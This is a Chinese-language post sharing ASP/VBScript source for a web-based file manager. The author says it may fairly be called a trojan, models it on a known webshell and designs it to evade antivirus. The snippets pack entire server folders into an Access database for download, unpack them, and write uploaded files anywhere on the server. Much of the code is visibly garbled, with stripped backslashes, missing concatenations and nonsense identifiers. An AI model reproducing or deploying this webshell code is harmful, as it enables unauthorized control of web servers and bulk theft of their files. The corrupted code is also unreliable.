這是一個利用FSO集合物件編寫的FSO檔案瀏覽器(如果你非要說它是木馬,我也不反對),在功能上仿照了「海洋頂端木馬」設計,不過程式碼完全是重寫的,沒有使用如Shell.Application等容易造成防毒軟體誤殺的元件。類似的工具網路上有很多,本工具使用價值不是很大,但其中的許多程式碼自認為寫的不錯的。
主要功能包括:磁碟資訊檢視磁碟檔案瀏覽類似WindowsExplorer的操作方式新建、刪除、改名、複製、移動等基本檔案操作文字檔案編輯
Stream方式檔案下載精簡優化的無元件上傳檔案打包/解包,一個資料夾可以完整地被打包/解包
程式碼片段:
1. 文件打包/解包部分
- Sub Pack( ByVal FPath, ByVal sDbPath)
- Server.ScriptTimeOut=900
- Dim DbPath
- If Right(sDbPath,4)= ".mdb" Then
- DbPath=sDbPath
- Else
- DbPath=sDbPath ".mdb"
- End If
- If oFso.FolderExists(DbPath) Then
- EchoBack "不能建立資料庫檔案!" &Replace(DbPath, ""," \")
- Exit Sub
- End If
- If oFso.FileExists(DbPath) Then
- oFso.DeleteFile DbPath
- End If
- If IsFolder(FPath) Then
- RootPath=GetParentFolder(FPath)
- If Right(RootPath,1)<> "" Then RootPath=RootPath&" "
- Else
- EchoBack "請輸入資料夾路徑!"
- Exit Sub
- End If
- Dim oCatalog,connStr,DataName
- Set conn=Server.CreateObject( "ADODB.Connection" )
- Set oStream=Server.CreateObject( "ADODB.Stream" )
- Set oCatalog=Server.CreateObject( "ADOX.Catalog" )
- Set rs=Server.CreateObject( "ADODB.RecordSet" )
- On Error Resume Next
- connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
- oCatalog.Create connStr
- If Err Then
- EchoBack "不能建立資料庫檔案!" &Replace(DbPath, ""," \")
- Exit Sub
- End If
- Set oCatalog= Nothing
- conn.Open connStr
- conn.Execute( "Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)" )
- oStream.Open
- oStream.Type=1
- rs.Open "Files" ,conn,3,3
- DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1)
- NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName)
- FailFileList= ""
- PackFolder FPath
- If FailFilelist= "" Then
- EchoClose "資料夾打包成功!"
- Else
- Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
- Response.Write "<Script Language= JavaScript >alert( 資料夾打包完成!n以下是打包失敗的檔案清單: );</Script>"
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- End If
- oStream.Close
- rs.Close
- conn.Close
- End Sub
- Sub PackFolder(FolderPath)
- If Not IsFolder(FolderPath) Then Exit Sub
- Dim oFolder,sFile,sFolder
- Set oFolder=oFso.GetFolder(FolderPath)
- For Each sFile In oFolder.Files
- If InStr(NoPackFiles, "|" &sFile.Name "|" )<1 Then
- PackFile sFile.Path
- End If
- Next
- Set sFile= Nothing
- For Each sFolder In oFolder.SubFolders
- PackFolder sFolder.Path
- Next
- Set sFolder= Nothing
- End Sub
- Sub PackFile(FilePath)
- Dim RelPath
- RelPath=Replace(FilePath,RootPath, "" )
-
- On Error Resume Next
- Err.Clear
- Err= False
- oStream.LoadFromFile FilePath
- rs.AddNew
- rs( "FilePath" )=RelPath
- rs( "FileData" )=oStream.Read()
- rs.Update
- If Err Then
-
- FailFilelist=FailFilelist&FilePath "|"
- End If
- End Sub
-
- Sub UnPack(vFolderPath,DbPath)
- Server.ScriptTimeOut=900
- Dim FilePath,FolderPath,sFolderPath
- FolderPath=vFolderPath
- FolderPath=Trim(FolderPath)
- If Mid(FolderPath,2,1)<> ":" Then
- EchoBack "路徑格式錯誤,無法建立改目錄!"
- Exit Sub
- End If
- If Right(FolderPath,1)= "" Then FolderPath=Left(FolderPath,Len(FolderPath)-1)
- Dim connStr
- Set conn=Server.CreateObject( "ADODB.Connection" )
- Set oStream=Server.CreateObject( "ADODB.Stream" )
- Set rs=Server.CreateObject( "ADODB.RecordSet" )
- connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
- On Error Resume Next
- Err= False
- conn.Open connStr
- If Err Then
- EchoBack "資料庫開啟錯誤!"
- Exit Sub
- End If
- Err= False
- oStream.Open
- oStream.Type=1
- rs.Open "Files" ,conn,1,1
- FailFilelist= ""
- Do Until rs.EOF
- Err.Clear
- Err= False
- FilePath=FolderPath ""&rs(" FilePath")
- FilePath=Replace(FilePath, "\"," ")
- sFolderPath=Left(FilePath,InStrRev(FilePath, "" ))
- If Not oFso.FolderExists(sFolderPath) Then
- CreateFolder(sFolderPath)
- End If
- oStream.SetEos()
- oStream.Write rs( "FileData" )
- oStream.SaveToFile FilePath,2
- If Err Then
- FailFilelist=FailFilelist&rs( "FilePath" ).Value "|"
- End If
- rs.MoveNext
- Loop
- rs.Close
- Set rs= Nothing
- conn.Close
- Set conn= Nothing
- Set oStream= Nothing
- If FailFilelist= "" Then
- EchoClose "檔案解包成功!"
- Else
- Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
- Response.Write "<Script Language= JavaScript >alert( 資料夾打包完成!n以下是打包失敗的檔案列表,請檢查);</Script>"
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- End If
- End Sub
-
2. 文件上傳部分(單一文件):
- Sub Saveupload( ByVal FolderName)
- If Not IsFolder(FolderName) Then
- EchoClose "沒有指定上傳的資料夾!"
- Exit Sub
- End If
- Dim Path,IsOverWrite
- Path=FolderName
- If Right(Path,1)<> "" Then Path=Path&" "
- FileName=Replace(Request( "filename" ), ""," ")
- If Len(FileName)<1 Then
- EchoBack "請選擇檔案並輸入檔案名稱!"
- Exit Sub
- End If
- Path=Path
- If LCase(Request( "overwrite" ))= "true" Then
- IsOverWrite= True
- Else
- IsOverWrite= False
- End If
- On Error Resume Next
- Call MyUpload(Path,IsOverWrite)
- If Err Then
- EchoBack "檔案上傳失敗!(可能是檔案已存在)"
- Else
- EchoClose "檔案上傳成功!n" & Replace(fileName, "", " \")
- End If
- End Sub
- Sub MyUpload(FilePath,IsOverWrite)
- Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
- RequestSize=Request.TotalBytes
- If RequestSize<1 Then Exit Sub
- Set oStream=Server.CreateObject( "ADODB.Stream" )
- Set tStream=Server.CreateObject( "ADODB.Stream" )
- With oStream
- .Type=1
- .Mode=3
- .Open
- .Write=Request.BinaryRead(RequestSize)
- .Position=0
- sData=.Read
- bCrLf=ChrB(13)&ChrSpaceB(10)
- iSpaceEnd=InStrB(sData,bCrCrLf)-1
- shrSpaceB =LeftB(sData,iSpaceEnd)
- iInfoStart=iSpaceEnd+3
- iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
- iFileStart=iInfoEnd+5
- iFileEnd=InStrB(iFileStart,sData,sSpace)-3
- sData= ""
- iFileSize=iFileEnd-iFileStart+1
- tStream.Type=1
- tStream.Mode=3
- tStream.Open
- .Position=iFileStart-1
- .CopyTo tStream,iFileSize
- If IsOverWrite Then
- tStream.SaveToFile FilePath,2
- Else
- tStream.SaveToFile FilePath
- End If
- tStream.Close
- .Close
- End With
- Set tStream= Nothing
- Set oStream= Nothing
- End Sub